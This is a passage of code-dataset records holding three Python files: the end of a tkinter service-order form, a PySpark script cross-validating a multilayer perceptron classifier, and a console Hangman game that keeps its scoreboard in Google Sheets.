pady=0, sticky=NSEW)\n\n# Label top\napp_name = Label(frame_top, text='Formulario de Ordem de Serviço',\n anchor=NW, font=('Ivy 13 bold'), bg=co2, fg=co1, relief='flat')\napp_name.place(x=10, y=20)\n\n# Label base\nlabel_os = Label(frame_base, text='Numero da OS *', anchor=NW,\n font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_os.place(x=10, y=10)\nentry_os = Entry(frame_base, width=45, justify='left', relief='solid')\nentry_os.place(x=15, y=30)\n\nlabel_typeService = Label(frame_base, text='Tipo de Serviço *',\n anchor=NW, font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_typeService.place(x=10, y=50)\nentry_typeService = Entry(frame_base, width=45, justify='left', relief='solid')\nentry_typeService.place(x=15, y=70)\n\nlabel_description = Label(frame_base, text='Descrição *', anchor=NW,\n font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_description.place(x=10, y=90)\nentry_description = Entry(frame_base, width=45, justify='left', relief='solid')\nentry_description.place(x=15, y=110)\n\nlabel_date = Label(frame_base, text='Data do Serviço *', anchor=NW,\n font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_date.place(x=10, y=140)\nentry_date = DateEntry(\n frame_base, width=12, background='darkblue', foreground='white', borderwidth=2)\nentry_date.place(x=15, y=160)\n\nlabel_provider = Label(frame_base, text='Prestador *', anchor=NW,\n font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_provider.place(x=10, y=190)\nentry_provider = Entry(frame_base, width=45, justify='left', relief='solid')\nentry_provider.place(x=15, y=210)\n\nlabel_client = Label(frame_base, text='Cliente *', anchor=NW,\n font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_client.place(x=10, y=230)\nentry_client = Entry(frame_base, width=45, justify='left', relief='solid')\nentry_client.place(x=15, y=250)\n\nlabel_value = Label(frame_base, text='Valor *', anchor=NW,\n font=('Ivy 10 bold'), bg=co1, fg=co4, relief='flat')\nlabel_value.place(x=10, y=270)\nentry_value = Entry(frame_base, width=45, justify='left', relief='solid')\nentry_value.place(x=15, y=290)\n\n# frame right - Exibir registros\n\ndef show():\n global tree\n list = select()\n\n # Lista para cabecario\n table_head = ['ID', 'OS', 'Serviço', 'Descrição',\n 'Data', 'Provedor', 'Cliente', 'Valor']\n\n # Criando a tabela\n tree = ttk.Treeview(frame_right, selectmode=\"extended\",\n columns=table_head, show=\"headings\")\n\n # Vertical scrollbar\n vsb = ttk.Scrollbar(frame_right, orient=\"vertical\", command=tree.yview)\n\n # Horizontal scrollbar\n hsb = ttk.Scrollbar(frame_right, orient=\"horizontal\", command=tree.xview)\n\n tree.configure(yscrollcommand=vsb.set, xscrollcommand=hsb.set)\n tree.grid(column=0, row=0, sticky='nsew')\n vsb.grid(column=1, row=0, sticky='ns')\n hsb.grid(column=0, row=1, sticky='ew')\n\n frame_right.grid_rowconfigure(0, weight=12)\n\n hd = [\"nw\", \"nw\", \"nw\", \"nw\", \"nw\", \"nw\", \"nw\", \"nw\"]\n h = [30, 70, 120, 120, 100, 100, 100, 70]\n n = 0\n\n for col in table_head:\n tree.heading(col, text=col.title(), anchor=CENTER)\n tree.column(col, width=h[n], anchor=hd[n])\n\n n += 1\n\n for item in list:\n tree.insert('', 'end', values=item)\n\n# Cadastrar\n\n\ndef register():\n os = entry_os.get()\n typeService = entry_typeService.get()\n description = entry_description.get()\n date = entry_date.get()\n provider = entry_provider.get()\n client = entry_client.get()\n value = entry_value.get()\n\n if os == '' or typeService == '' or description == '' or provider == '' or client == '' or value == '':\n messagebox.showerror(\n \"Erro\", \"Preencha todos os campos para cadastrar!\")\n else:\n service = [os, typeService, description, date, provider, client, value]\n insert(service)\n messagebox.showinfo(\n \"Sucesso\", \"Ordem de serviço cadastrada com sucesso!\")\n\n entry_os.delete(0, 'end')\n entry_typeService.delete(0, 'end')\n entry_description.delete(0, 'end')\n entry_date.delete(0, 'end')\n entry_provider.delete(0, 'end')\n entry_client.delete(0, 'end')\n entry_value.delete(0, 'end')\n\n for widget in frame_right.winfo_children():\n widget.destroy()\n\n show()\n\n# Atualizar\n\n\ndef change():\n global aux\n try:\n treep_data = tree.focus()\n treep_dictionary = tree.item(treep_data)\n tree_list = treep_dictionary['values']\n\n id = tree_list[0]\n\n if aux != 0 and aux == tree_list[0]:\n messagebox.showerror(\"Erro\", \"Registro já está selecionado!\")\n else:\n aux = id\n entry_date.delete(0, 'end')\n entry_os.insert(0, tree_list[1])\n entry_typeService.insert(0, tree_list[2])\n entry_description.insert(0, tree_list[3])\n entry_date.insert(0, tree_list[4])\n entry_provider.insert(0, tree_list[5])\n entry_client.insert(0, tree_list[6])\n entry_value.insert(0, tree_list[7])\n\n def executeUpdate():\n global aux\n os = entry_os.get()\n typeService = entry_typeService.get()\n description = entry_description.get()\n date = entry_date.get()\n provider = entry_provider.get()\n client = entry_client.get()\n value = entry_value.get()\n\n if os == '' or typeService == '' or description == '' or provider == '' or client == '' or value == '':\n messagebox.showerror(\n \"Erro\", \"Preencha todos os campos para atualizar!\")\n else:\n aux = 0\n service = [os, typeService, description,\n date, provider, client, value, id]\n update(service)\n messagebox.showinfo(\n \"Sucesso\", \"Ordem de serviço atualizada com sucesso!\")\n\n entry_os.delete(0, 'end')\n entry_typeService.delete(0, 'end')\n entry_description.delete(0, 'end')\n entry_date.delete(0, 'end')\n entry_provider.delete(0, 'end')\n entry_client.delete(0, 'end')\n entry_value.delete(0, 'end')\n\n for widget in frame_right.winfo_children():\n widget.destroy()\n\n show()\n\n btn_confirm = Button(frame_base, command=executeUpdate, text='Confirmar', width=7, font=(\n 'Ivy 10 bold'), bg=co8, fg=co1, relief='raised', overrelief='ridge')\n btn_confirm.place(x=160, y=350)\n\n except IndexError:\n messagebox.showerror(\"Erro\", \"Selecione um registro da tabela!\")\n\n# Deletar\n\n\ndef remove():\n try:\n treep_data = tree.focus()\n treep_dictionary = tree.item(treep_data)\n tree_list = treep_dictionary['values']\n\n id = [tree_list[0]]\n\n delete(id)\n messagebox.showinfo(\n \"Sucesso\", \"Ordem de serviço removida com sucesso!\")\n\n for widget in frame_right.winfo_children():\n widget.destroy()\n\n show()\n except IndexError:\n messagebox.showerror(\"Erro\", \"Selecione um registro da tabela!\")\n\n\n# Botões\nbtn_insert = Button(frame_base, command=register, text='Inserir', width=7, font=(\n 'Ivy 10 bold'), bg=co2, fg=co1, relief='raised', overrelief='ridge')\nbtn_insert.place(x=10, y=350)\n\nbtn_update = Button(frame_base, command=change, text='Atualizar', width=7, font=(\n 'Ivy 10 bold'), bg=co8, fg=co1, relief='raised', overrelief='ridge')\nbtn_update.place(x=85, y=350)\n\nbtn_delete = Button(frame_base, command=remove, text='Deletar', width=7, font=(\n 'Ivy 10 bold'), bg=co7, fg=co1, relief='raised', overrelief='ridge')\nbtn_delete.place(x=235, y=350)\n\n# Exibindo os componentes visuais\nshow()\nwindow.mainloop()\n", "repo_name": "CloudEducationBrazil/WydenUniRuyPythonRAD", "sub_path": "03 Assessments/AV2 tkinter/OrdemServicoAngelo/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 9276, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tkcalendar.DateEntry", "line_number": 74, "usage_type": "call"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 107, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 107, "usage_type": "name"}, {"api_name": "tkinter.ttk.Scrollbar", "line_number": 111, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 111, "usage_type": "name"}, {"api_name": "tkinter.ttk.Scrollbar", "line_number": 114, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 114, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 149, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 149, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 154, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 154, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 183, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 183, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 206, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 206, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 213, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 213, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 234, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 234, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 248, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 248, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 256, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 256, "usage_type": "name"}]} +{"seq_id": "31930119776", "text": "from pyspark import SparkContext\nfrom pyspark.mllib.util import MLUtils\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.classification import RandomForestClassifier, LogisticRegression, NaiveBayes, DecisionTreeClassifier, LinearSVC, MultilayerPerceptronClassifier, OneVsRest\n#from pyspark.mllib.tree import RandomForest, RandomForestModel\nfrom pyspark.ml.tuning import CrossValidator, CrossValidatorModel, ParamGridBuilder\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\nfrom pyspark.mllib.evaluation import MulticlassMetrics\nfrom pyspark.sql import SQLContext, SparkSession\nimport time\n\ndef cross_validate(trainDataDF, testDataDF, estimator, paramGrid, evaluator, \n numFolds=10, name_estimator=\"\", bSave=False, filepath=\"\"):\n\n print(\"***Starting %d-fold validation for estimator %s***\" % (numFolds, name_estimator))\n crossval = CrossValidator(estimator=estimator,\n estimatorParamMaps=paramGrid,\n evaluator=evaluator, \n numFolds=numFolds)\n\n start_time = time.time()\n model = crossval.fit(trainDataDF)\n print(\"Cross validation finished in %s seconds.\" % (time.time() - start_time))\n \n print(\"Avg cross-val metric %s\" % model.avgMetrics)\n \n if bSave: \n print(\"Saving to filepath %s.\" % filepath)\n model.write().overwrite().save(filepath)\n\n return model\n\ndef printEvaluationReport(prediction, evaluator):\n\n #first evaluation report\n accuracy = evaluator.evaluate(prediction, {evaluator.metricName: \"accuracy\"})\n precision = evaluator.evaluate(prediction, {evaluator.metricName: \"weightedPrecision\"})\n recall = evaluator.evaluate(prediction, {evaluator.metricName: \"weightedRecall\"})\n f1 = evaluator.evaluate(prediction, {evaluator.metricName: \"f1\"})\n\n print(\"------Classification report-----\")\n print(\"Accuracy: {0:.2%}\".format(accuracy))\n print(\"Error rate: {0:.2%}\".format(1.0 - accuracy))\n print(\"Weighted precision: {0:.2%}\".format(precision))\n print(\"Weighted recall: {0:.2%}\".format(recall))\n print(\"F1-score: {0:.2%}\".format(f1))\n print()\n\nif __name__ == \"__main__\":\n sc = SparkContext()\n\n spark = SparkSession\\\n .builder\\\n .appName(\"k-foldcv\")\\\n .getOrCreate()\n\n trainingData = MLUtils.loadLibSVMFile(sc, \"paradiseXy_train.txt\", multiclass=True)\n testData = MLUtils.loadLibSVMFile(sc, \"paradiseXy_test.txt\", multiclass=True)\n loadedDataDF_train = spark.createDataFrame(trainingData.map(lambda lp: (lp.label, lp.features.asML())), ['label', 'features'])\n loadedDataDF_test = spark.createDataFrame(testData.map(lambda lp: (lp.label, lp.features.asML())), ['label', 'features'])\n print(loadedDataDF_train.show(truncate=False))\n \n # 5) ANN - Multi-layer Perceptron Classifier\n mlp = MultilayerPerceptronClassifier(labelCol=\"label\", featuresCol=\"features\", layers=[26, 100, 100, 9], maxIter=200)\n\n evaluator = MulticlassClassificationEvaluator()\n\n paramGridMLP = ParamGridBuilder() \\\n .addGrid(mlp.stepSize, [0.03]) \\\n .build()\n\n modelMLP = cross_validate(loadedDataDF_train, loadedDataDF_test, mlp, paramGridMLP, evaluator, \n name_estimator=\"Multi-Layer Perceptron\", bSave=True, filepath=\"model/mlp_model\")\n predictionMLP = modelMLP.transform(loadedDataDF_test)\n\n printEvaluationReport(predictionMLP, evaluator)\n\n\n\n\n # get these metrics later\n exit() \n #set up rdd for prediction labels\n rf_bestModel = model.bestModel #get the best RF model from cross validation\n predictionAndLabels = testData.map(lambda lp: (float(rf_bestModel.predict(lp.features)), lp.label))\n\n rdd2 = sc.parallelize(predictionAndLabels)\n\n #second evaluation report\n #metrics = MulticlassMetrics(predictionAndLabels)\n metrics = MulticlassMetrics(rdd2)\n #overall stat\n confMat = metrics.confusionMatrix().toArray()\n acc = metrics.accuracy\n prec = metrics.precision()\n reca = metrics.recall()\n f1Score = metrics.fMeasure()\n \n print(\"Confusion Matrix\")\n print(confMat)\n\n print(\"Summary Stats\")\n print(\"Accuracy = %s\" % acc)\n print(\"Precision = %s\" % prec)\n print(\"Recall = %s\" % reca)\n print(\"F1-score = %s\" % f1Score)\n\n print() \n\n\n #stats by class\n labels = loadedDataDF_test.map(lambda lp: lp.label).distinct().collect()\n for label in sorted(labels):\n print(\"Class %s precision = %s\" % (label, metrics.precision(label)))\n print(\"Class %s recall = %s\" % (label, metrics.recall(label)))\n print(\"Class %s F1 Measure= %s\" % (label, metrics.fMeasure(label)))\n print(\"Class %s FPR = %s\" % (label, metrics.falsePositiveRate(label)))\n print(\"Class %s TPR = %s\" % (label, metrics.truePositiveRate(label)))\n\n print()\n\n #weighted stats\n print(\"Weighted precision = %s\" % metrics.weightedPrecision)\n print(\"Weighted recall = %s\" % metrics.weightedRecall)\n print(\"Weighted F(1) score = %s\" % metrics.weightedFMeasure())\n print(\"Weighted F(0.5) score = %s\" % metrics.weightedFMeasure(beta=0.5))\n print(\"Weighted FPR = %s\" % metrics.weightedFalsePositiveRate)\n print(\"Weighted TPR = %s\" % metrics.weightedTruePositiveRate)\n", "repo_name": "aalten77/wildfireassessment", "sub_path": "mllibSpark/cross_validatorMLP.py", "file_name": "cross_validatorMLP.py", "file_ext": "py", "file_size_in_byte": 5229, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pyspark.ml.tuning.CrossValidator", "line_number": 16, "usage_type": "call"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 50, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 52, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 52, "usage_type": "name"}, {"api_name": "pyspark.mllib.util.MLUtils.loadLibSVMFile", "line_number": 57, "usage_type": "call"}, {"api_name": "pyspark.mllib.util.MLUtils", "line_number": 57, "usage_type": "name"}, {"api_name": "pyspark.mllib.util.MLUtils.loadLibSVMFile", "line_number": 58, "usage_type": "call"}, {"api_name": "pyspark.mllib.util.MLUtils", "line_number": 58, "usage_type": "name"}, {"api_name": "pyspark.ml.classification.MultilayerPerceptronClassifier", "line_number": 64, "usage_type": "call"}, {"api_name": "pyspark.ml.evaluation.MulticlassClassificationEvaluator", "line_number": 66, "usage_type": "call"}, {"api_name": "pyspark.ml.tuning.ParamGridBuilder", "line_number": 68, "usage_type": "call"}, {"api_name": "pyspark.mllib.evaluation.MulticlassMetrics", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "12046651217", "text": "import gspread\nfrom google.oauth2.service_account import Credentials\nfrom words import words\nimport random\nimport os\nimport sys\nimport colorama\nfrom colorama import Fore\ncolorama.init(autoreset=True)\n\n\nSCOPE = [\n \"https://www.googleapis.com/auth/spreadsheets\",\n \"https://www.googleapis.com/auth/drive.file\",\n \"https://www.googleapis.com/auth/drive\"]\n\nCREDS = Credentials.from_service_account_file('creds.json')\nSCOPED_CREDS = CREDS.with_scopes(SCOPE)\nGSPREAD_CLIENT = gspread.authorize(SCOPED_CREDS)\nSHEET = GSPREAD_CLIENT.open('scoreboard')\n\nscoreboard = SHEET.worksheet(\"scoreboard\")\n\ndata = scoreboard.get_all_values()\n\n# Constants\nCORRECT_ANSWER = 25\nCORRECT_FULLWORD = 200\nPLAY_AGAIN_MSG = f\"\"\"{Fore.RED}\nA - PLAY AGAIN\nB - SCOREBOARD\nC - EXIT THE GAME\n\"\"\"\n\n\ndef clear_console():\n os.system('clear')\n\n\ndef display_hangman(lives):\n \"\"\"\n This is an image of how many lives the user has left\n before the game is over.\"\"\"\n hangman_stage = [\n \"\"\"\n --------\n | |\n | O\n | \\\\|/\n | |\n | / \\\\\n -\n \"\"\",\n \"\"\"\n --------\n | |\n | O\n | \\\\|/\n | |\n | /\n -\n \"\"\",\n \"\"\"\n --------\n | |\n | O\n | \\\\|/\n | |\n |\n -\n \"\"\",\n \"\"\"\n --------\n | |\n | O\n | \\\\|\n | |\n |\n -\n \"\"\",\n \"\"\"\n --------\n | |\n | O\n | |\n | |\n |\n -\n \"\"\",\n \"\"\"\n --------\n | |\n | O\n |\n |\n |\n -\n \"\"\",\n \"\"\"\n --------\n | |\n |\n |\n |\n |\n -\n \"\"\",\n \"\"\"\n |\n |\n |\n |\n |\n |\n |\n ----------\n \"\"\",\n \"\"\"\n\n\n\n |\n |\n ----------\n \"\"\"]\n return hangman_stage[lives]\n\n\ndef rules():\n \"\"\"\n Rules of the game\n \"\"\"\n clear_console()\n print(f\"\"\"\\n {Fore.RED}RULES\n 1. You have 7 lives to try to find the right word by inputting letters.\\n\n 2. Try to guess the one of the letters in the word!\n - If the letter is in the word, it will show up in the word.\n - If the letter is not in the word, you will lose a life.\\n\n 3. You WIN by guessing the full word and saving HangMan.\\n\n 4. You LOSE if you run out of lives and HangMan is hung\n\n \"\"\")\n\n\ndef intro_game():\n \"\"\"\n Logo of the game\n \"\"\"\n\n print(f\"\"\"{Fore.RED}\n\n██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███╗ ███╗ █████╗ ███╗ ██╗\n██║ ██║██╔══██╗████╗ ██║██╔════╝ ████╗ ████║██╔══██╗████╗ ██║\n███████║███████║██╔██╗ ██║██║ ███╗██╔████╔██║███████║██╔██╗ ██║\n██╔══██║██╔══██║██║╚██╗██║██║ ██║██║╚██╔╝██║██╔══██║██║╚██╗██║\n██║ ██║██║ ██║██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║ ██║██║ ╚████║\n╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝\n{Fore.GREEN}\n +-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+ +-+-+-+-+-+-+\n |C|a|p|i|t|a|l|s| |o|f| |t|h|e| |E|u|r|o|p|e|\n +-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+ +-+-+-+-+-+-+\n\\n\n Welcome to the Hangman Game!\\n\"\"\")\n\n\ndef get_word():\n \"\"\"\n Get a random word from the words list\n \"\"\"\n word = random.choice(words)\n return word.upper()\n\n\ndef game(word):\n \"\"\"\n Game main function\n \"\"\"\n full_word = \"_\" * len(word)\n guessed = False\n guessed_letters = []\n guessed_words = []\n guessed_wrong = []\n guessed_right = 0\n lives = 7\n score = 0\n clear_console()\n print(f\"\\n\\tLET'S PLAY THE HANGMAN GAME!\\n\")\n print(f\"\"\"\\tYOU WORD CONTAINS {len(word)} LETTERS\"\"\")\n print(display_hangman(lives))\n word_space(f\"\\t{full_word}\")\n print(\"\\n\")\n while not guessed and lives > 0:\n print(f\"\\n\\t{Fore.RED}WRONG LETTERS GUESSED:\\n\\t{guessed_wrong}\\n\")\n display_score(score)\n print(\"\\n\")\n if lives > 1:\n print(f\"\\n\\t{Fore.GREEN}YOU HAVE {lives} LIVES\")\n else:\n print(f\"\\n\\t{Fore.RED}YOU HAVE {lives} LIVES LEFT\\n\")\n guess = input(f\"\"\"\\t\\t\n GUESS A LETTER OR A WORD PLEASE:\\n\\t>>> \"\"\").upper()\n print(\"\\n\")\n clear_console()\n # Check if the player has already guess the letter\n # Or if the letter guessed in not in the word\n # And if the letter guessed is in the word\n if len(guess) == 1 and guess.isalpha():\n if guess in guessed_letters:\n print(f\"\"\"\\n\\t\n {Fore.RED}YOU HAVE ALREADY GUESSED THIS LETTER {guess}\\n\"\"\")\n elif guess not in word:\n print(f\"\"\"\\n\\t\n {Fore.RED}{guess} IS NOT IN THE WORD. TRY ANOTHER ONE!\\n\"\"\")\n lives -= 1\n guessed_letters.append(guess)\n guessed_wrong.append(guess)\n else:\n print(f\"\"\"\\n\\t\n {Fore.GREEN}GREAT, {guess} IS IN THE WORD! KEEP GOING!\\n\"\"\")\n guessed_letters.append(guess)\n guessed_right += 1\n score += CORRECT_ANSWER\n word_as_list = list(full_word)\n indices = [i for i, letter in enumerate(\n word) if letter == guess]\n for index in indices:\n word_as_list[index] = guess\n full_word = \"\".join(word_as_list)\n if \"_\" not in full_word:\n guessed = True\n elif len(guess) == len(word) and guess.isalpha():\n if guess in guessed_words:\n print(f\"\"\"\\n\\t\n {Fore.GREEN}YOU HAVE GUESSED THE WORD {guess} ALREADY.\"\"\")\n elif guess != word:\n print(f\"\\n\\t{Fore.RED}{guess}, IS NOT THE WORD. TRY AGAIN!\")\n lives -= 1\n guessed_words.append(guess)\n else:\n guessed = True\n full_word = word\n else:\n print(f\"\\n\\t{Fore.RED}IS NOT VALID GUESS.\\n\")\n print(display_hangman(lives))\n word_space(f\"\\t{full_word}\")\n print(\"\\n\")\n result(guessed, word, guessed_right, score)\n\n\ndef word_space(full_word):\n \"\"\"\n Add space in between letters in the random word\n \"\"\"\n for i in full_word:\n print(i, end=\" \")\n\n\ndef display_score(score):\n \"\"\"\n Display player score during the game\n \"\"\"\n print(f\"\\tSCORE: {score}\")\n\n\ndef update_scoreboard(data, score):\n \"\"\"\n This updates a new row with the name, score and difficulty in worksheet.\n \"\"\"\n print(f\"\\t{Fore.GREEN}Updating Scoreboard...\\n\")\n worksheet_to_update = SHEET.worksheet(\"scoreboard\")\n worksheet_to_update.append_row([\n str(player_name[0:7]), score, ])\n print(f\"\\t{Fore.GREEN}Scoreboard Update successful.\\n\")\n\n\ndef display_scoreboard():\n \"\"\"\n Displays to the players the 10 best scores\n \"\"\"\n score_sheet = SHEET.worksheet(\"scoreboard\").get_all_values()[1:]\n for data in score_sheet:\n data[1] = (data[1])\n\n update_data = sorted(score_sheet, key=lambda x: int(x[1]), reverse=True)\n\n print(f\"\"\"\n S C O R E B O A R D\\n\n \\tPOS\\tNAME\\t SCORE\n\"\"\")\n if (len(update_data) < 10):\n count = len(update_data)\n else:\n count = 10\n\n for i in range(0, count):\n print(f\"\"\"\n {Fore.GREEN}{i+1}\\t{update_data[i][0]}\\t{update_data[i][1]}\n \"\"\")\n\n\ndef result(guessed, word, guessed_right, score):\n \"\"\"\n Display win or lose message\n \"\"\"\n if guessed and len(word) >= 1 and guessed_right <= 3:\n clear_console()\n print(f\"\"\"{Fore.GREEN}\n ██╗ ██╗ ██████╗ ██╗ ██╗ ██╗ ██╗██╗███╗ ██╗\n ╚██╗ ██╔╝██╔═══██╗██║ ██║ ██║ ██║██║████╗ ██║\n ��████╔╝ ██║ ██║██║ ██║ ██║ █╗ ██║██║██╔██╗ ██║\n ╚██╔╝ ██║ ██║██║ ██║ ██║███╗██║██║██║╚██╗██║\n ██║ ╚██████╔╝╚██████╔╝ ╚███╔███╔╝██║██║ ╚████║\n ╚═╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝\n \\n\"\"\")\n print(f\"\"\"{Fore.GREEN}\n YOU WIN {player_name}, YOU HAVE GUESSED THE WORD COMPLETELY AT ONCE!\\n\n \"\"\")\n score = score + CORRECT_ANSWER + CORRECT_FULLWORD\n elif guessed:\n clear_console()\n print(f\"\"\"{Fore.RED}\n ██╗ ██╗ ██████╗ ██╗ ██╗ ██╗ ██╗██╗███╗ ██╗\n ╚██╗ ██╔╝██╔═══██╗██║ ██║ ██║ ██║██║████╗ ██║\n ╚████╔╝ ██║ ██║██║ ██║ ██║ █╗ ██║██║██╔██╗ ██║\n ╚██╔╝ ██║ ██║██║ ██║ ██║███╗██║██║██║╚██╗██║\n ██║ ╚██████╔╝╚██████╔╝ ╚███╔███╔╝██║██║ ╚████║\n ╚═╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝\\n\"\"\")\n print(f\"\"\"{Fore.RED}\n YOU WIN {player_name}, YOU HAVE GUESSED THE RIGHT WORD!\\n\"\"\")\n score = score + CORRECT_ANSWER\n else:\n clear_console()\n print(f\"\"\"{Fore.RED}\n ██╗ ██╗ ██████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗███████╗\n ╚██╗ ██╔╝██╔═══██╗██║ ██║ ██║ ██╔═══██╗██╔════╝██╔════╝\n ╚████╔╝ ██║ ██║██║ ██║ ██║ ██║ ██║███████╗█████╗\n ╚██╔╝ ██║ ██║██║ ██║ ██║ ██║ ██║╚════██║██╔══╝\n ██║ ╚██████╔╝╚██████╔╝ ███████╗╚██████╔╝███████║███████╗\n ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝\\n\"\"\")\n print(F\"\"\"{Fore.RED}\n YOU LOSE {player_name}, THE RIGHT WORD WAS {word}!\n \"\"\")\n update_scoreboard(data, score)\n display_score(score)\n\n\ndef main():\n \"\"\"\n Starts the game with a random word.\n Give to the player 3 choices at the end:\n * Play again\n * Scoreboard\n * Exit the game\n \"\"\"\n\n play_game = True\n while True:\n if play_game:\n word = get_word()\n game(word)\n\n user_input = input(f\"{PLAY_AGAIN_MSG}>>> \").lower()\n if user_input == \"a\":\n print(f\"\\n\\tYou have decided to continue playing the game.\\n\")\n play_game = True\n elif user_input == \"b\":\n clear_console()\n display_scoreboard()\n play_game = False\n elif user_input == \"c\":\n clear_console()\n print(f\"{Fore.RED}\\n\\tNow closing the game...\")\n print(f\"\"\"{Fore.RED}\n \\n\\tThanks for playing, {player_name.capitalize()}.\n \\n\\tHope to see you again soon!\\n\"\"\")\n sys.exit()\n else:\n clear_console()\n print(f\"\"\"{Fore.RED}\\n\\t\n That is not a valid option. Please enter a valid option.\\n\n (Valid options are: a, b or c)\\n\"\"\")\n play_game = False\n\n\nif __name__ == '__main__':\n\n # Allows the user to input their own name to play the game\n while True:\n intro_game()\n player_name = input(f\"\"\"\n {Fore.GREEN}Please Enter Your Name:\"\"\")\n if player_name.isalpha():\n print(f\"\"\"{Fore.RED}\\n\\t\n HELLO {player_name}, WELCOME TO THE HANGMAN GAME!\\n\"\"\")\n rules()\n input(f\"\"\"\\n{Fore.GREEN}\n {player_name}, PRESS ANY KEY TO START THE GAME.\\n \"\"\")\n clear_console()\n break\n else:\n clear_console()\n print(f\"\"\"{Fore.RED}\n That is not a valid option.\n Please enter a valid option.\n !!!Username need to contain just letters!!!\"\"\")\n\n main()\n", "repo_name": "ionelaSabinaMacovei/Hangman-Project3", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 14742, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "colorama.init", "line_number": 9, "usage_type": "call"}, {"api_name": "google.oauth2.service_account.Credentials.from_service_account_file", "line_number": 17, "usage_type": "call"}, {"api_name": "google.oauth2.service_account.Credentials", "line_number": 17, "usage_type": "name"}, {"api_name": "gspread.authorize", "line_number": 19, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 29, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 29, "usage_type": "name"}, {"api_name": "os.system", "line_number": 37, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 134, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 134, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 150, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 150, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 158, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 158, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 170, "usage_type": "call"}, {"api_name": "words.words", "line_number": 170, "usage_type": "argument"}, {"api_name": "colorama.Fore.RED", "line_number": 193, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 193, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 197, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 197, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 199, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 199, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 210, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 210, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 213, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 213, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 219, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 219, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 234, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 234, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 236, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 236, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 243, "usage_type": "attribute"}, {"api_name": 